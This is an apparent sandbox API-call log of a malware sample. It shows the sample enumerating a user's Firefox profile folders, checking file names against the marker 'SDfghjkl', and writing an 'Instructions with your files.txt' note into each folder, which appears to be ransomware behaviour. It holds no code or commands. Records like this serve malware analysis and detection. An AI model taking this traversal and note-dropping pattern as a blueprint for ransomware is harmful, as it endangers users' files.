[0130.781] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.781] GetProcessHeap () returned 0x810000
[0130.781] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.781] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~2")) returned 1
[0130.781] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing") returned 102
[0130.781] GetProcessHeap () returned 0x810000
[0130.781] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.781] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*") returned 104
[0130.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\.") returned 104
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\..") returned 105
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x825fd7f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x825fd7f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x825fd7f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.cache", cAlternateFileName="TEST-M~1.CAC")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache") returned 128
[0130.784] StrStrIW (lpFirst="test-malware-simple.cache", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8234ff30, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8234ff30, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.pset", cAlternateFileName="TEST-M~1.PSE")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset") returned 127
[0130.784] StrStrIW (lpFirst="test-malware-simple.pset", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82376090, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82376090, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82376090, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore") returned 130
[0130.784] StrStrIW (lpFirst="test-malware-simple.sbstore", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82695d70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82695d70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82695d70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.cache", cAlternateFileName="TEST-P~1.CAC")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache") returned 126
[0130.784] StrStrIW (lpFirst="test-phish-simple.cache", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82376090, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82376090, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.pset", cAlternateFileName="TEST-P~1.PSE")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset") returned 125
[0130.784] StrStrIW (lpFirst="test-phish-simple.pset", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82649ab0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82649ab0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore") returned 128
[0130.784] StrStrIW (lpFirst="test-phish-simple.sbstore", lpSrch="SDfghjkl") returned 0x0
[0130.784] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82649ab0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82649ab0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82649ab0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 0
[0130.784] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\Instructions with your files.txt") returned 135
[0130.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.785] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.786] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.786] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.786] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.786] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.786] CloseHandle (hObject=0x124) returned 1
[0130.786] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.786] GetProcessHeap () returned 0x810000
[0130.786] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.786] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1
[0130.786] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache") returned 102
[0130.786] GetProcessHeap () returned 0x810000
[0130.786] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.786] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*") returned 104
[0130.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.787] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\.") returned 104
[0130.787] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x807f0230, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x854b47b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.787] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\..") returned 105
[0130.787] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 1
[0130.787] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little") returned 124
[0130.787] StrStrIW (lpFirst="startupCache.4.little", lpSrch="SDfghjkl") returned 0x0
[0130.787] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x854b47b0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x854b47b0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.4.little", cAlternateFileName="STARTU~1.LIT")) returned 0
[0130.787] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\Instructions with your files.txt") returned 135
[0130.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.788] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.789] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.789] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.789] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.789] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.789] CloseHandle (hObject=0x124) returned 1
[0130.789] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.789] GetProcessHeap () returned 0x810000
[0130.789] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.789] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1
[0130.789] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails") returned 100
[0130.789] GetProcessHeap () returned 0x810000
[0130.789] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.789] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*") returned 102
[0130.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\.") returned 102
[0130.792] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb653ec30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\..") returned 103
[0130.792] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83cc0a50, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83cc0a50, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4cc87c1409819bf06f42b782d4902b2f.png", cAlternateFileName="4CC87C~1.PNG")) returned 1
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned 137
[0130.792] StrStrIW (lpFirst="4cc87c1409819bf06f42b782d4902b2f.png", lpSrch="SDfghjkl") returned 0x0
[0130.792] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83ce6bb0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x83ce6bb0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83ce6bb0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ba182bcd131f1f3c6b6fbbb1ba078341.png", cAlternateFileName="BA182B~1.PNG")) returned 1
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png") returned 137
[0130.792] StrStrIW (lpFirst="ba182bcd131f1f3c6b6fbbb1ba078341.png", lpSrch="SDfghjkl") returned 0x0
[0130.792] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb97ade50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb97ade50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb97ade50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1c362, dwReserved0=0x0, dwReserved1=0x0, cFileName="ce8c0453589216a67cddb50284fbfe8d.png", cAlternateFileName="CE8C04~1.PNG")) returned 1
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned 137
[0130.792] StrStrIW (lpFirst="ce8c0453589216a67cddb50284fbfe8d.png", lpSrch="SDfghjkl") returned 0x0
[0130.792] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb97ade50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb97ade50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb97ade50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1c362, dwReserved0=0x0, dwReserved1=0x0, cFileName="ce8c0453589216a67cddb50284fbfe8d.png", cAlternateFileName="CE8C04~1.PNG")) returned 0
[0130.792] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\Instructions with your files.txt") returned 133
[0130.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.793] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
